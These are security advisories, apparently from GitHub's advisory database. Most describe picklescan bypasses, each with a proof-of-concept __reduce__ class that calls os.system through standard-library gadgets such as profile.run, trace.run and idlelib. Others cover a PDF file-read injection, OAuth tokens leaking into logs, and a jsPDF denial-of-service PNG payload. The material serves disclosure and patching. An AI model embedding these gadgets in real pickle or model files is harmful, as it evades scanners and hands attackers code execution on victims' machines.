ghsa

### Summary Using idlelib.autocomplete.AutoComplete.get_entity, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.autocomplete.AutoComplete.get_entity function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilIdlelibAutocompleteGetEntity: def __reduce__(self): from idlelib.autocomplete import AutoComplete return AutoComplete().get_entity, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file ...

### Summary Using idlelib.debugobj.ObjectTreeItem.SetText, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.debugobj.ObjectTreeItem.SetText function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilDebugobjSetText: def __reduce__(self): from idlelib.debugobj import ObjectTreeItem # ObjectTreeItem(..., setfunction=print).SetText(cmd) return ObjectTreeItem("label", None, print).SetText, ("__import__('os').system('whoami')",) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the im...

### Summary Using lib2to3.pgen2.grammar.Grammar.loads, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to lib2to3.pgen2.grammar.Grammar.loads function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class Evil: def __reduce__(self): import os return (os.system, ('whoami',)) class EvilLib2to3Pgen2GrammarLoads: def __reduce__(self): from lib2to3.pgen2.grammar import Grammar payload = pickle.dumps(Evil()) # payload = b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' return Grammar().loads, (payload,) `...

### Summary Using profile.Profile.runctx, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to profile.Profile.runctx function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilProfileRunctx: def __reduce__(self): from profile import Profile payload = "__import__('os').system('whoami')" return Profile.runctx, (Profile(), payload, {}, {}) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when th...

### Summary Using profile.Profile.run, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to profile.Profile.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilProfileRun: def __reduce__(self): from profile import Profile payload = "__import__('os').system('whoami')" return Profile.run, (Profile(), payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loa...

### Summary Using trace.Trace.runctx, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to trace.Trace.runctx function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilTraceRunctx: def __reduce__(self): from trace import Trace payload = "__import__('os').system('whoami')" return Trace.runctx, (Trace(), payload, {}, {}) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is l...

### Summary Using trace.Trace.run, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to trace.Trace.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class EvilTraceRun: def __reduce__(self): from trace import Trace payload = "__import__('os').system('whoami')" return Trace.run, (Trace(), payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain ...

### Impact When generating PDF files, this vulnerability allows an attacker to read arbitrary files from the filesystem by injecting malicious link element into the XML. ### Workarounds Test untrusted input with `link` elements with `rel="attachment"` before processing. ### Credits This vulnerability was reported by Mohamed Ouad from [Doyensec](https://doyensec.com/).

### Impact A vulnerability exists where sensitive information, such as OAuth tokens, is recorded in log files when an error occurs during the execution of an SQL query. An attacker could intentionally trigger an SQL error by methods such as placing a high load on the database. This could allow an attacker who has the authority to view the log files to illicitly acquire the recorded sensitive information. ### Patch This vulnerability has been fixed in the following pull request: https://github.com/traPtitech/traQ/pull/2787 It is possible that OAuth tokens issued before the patch was applied have already been recorded in the logs. To completely eliminate the security risk, server administrators are strongly recommended to revoke all existing OAuth tokens. ### Workaround If you cannot apply the update immediately, as a temporary workaround, please review access permissions for SQL error logs and strictly limit access to prevent unauthorized users from viewing them.

### Impact User control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service. Other affected methods are: `html`. Example payload: ```js import { jsPDF } from "jpsdf" const payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154]) const doc = new jsPDF(); const startTime = performance.now(); try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } finally { const endTime = performance.now(); console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`); } ``` ### Patches The vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2. In jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops. ### Workarounds Sanitize image data or URLs before passing it to the a...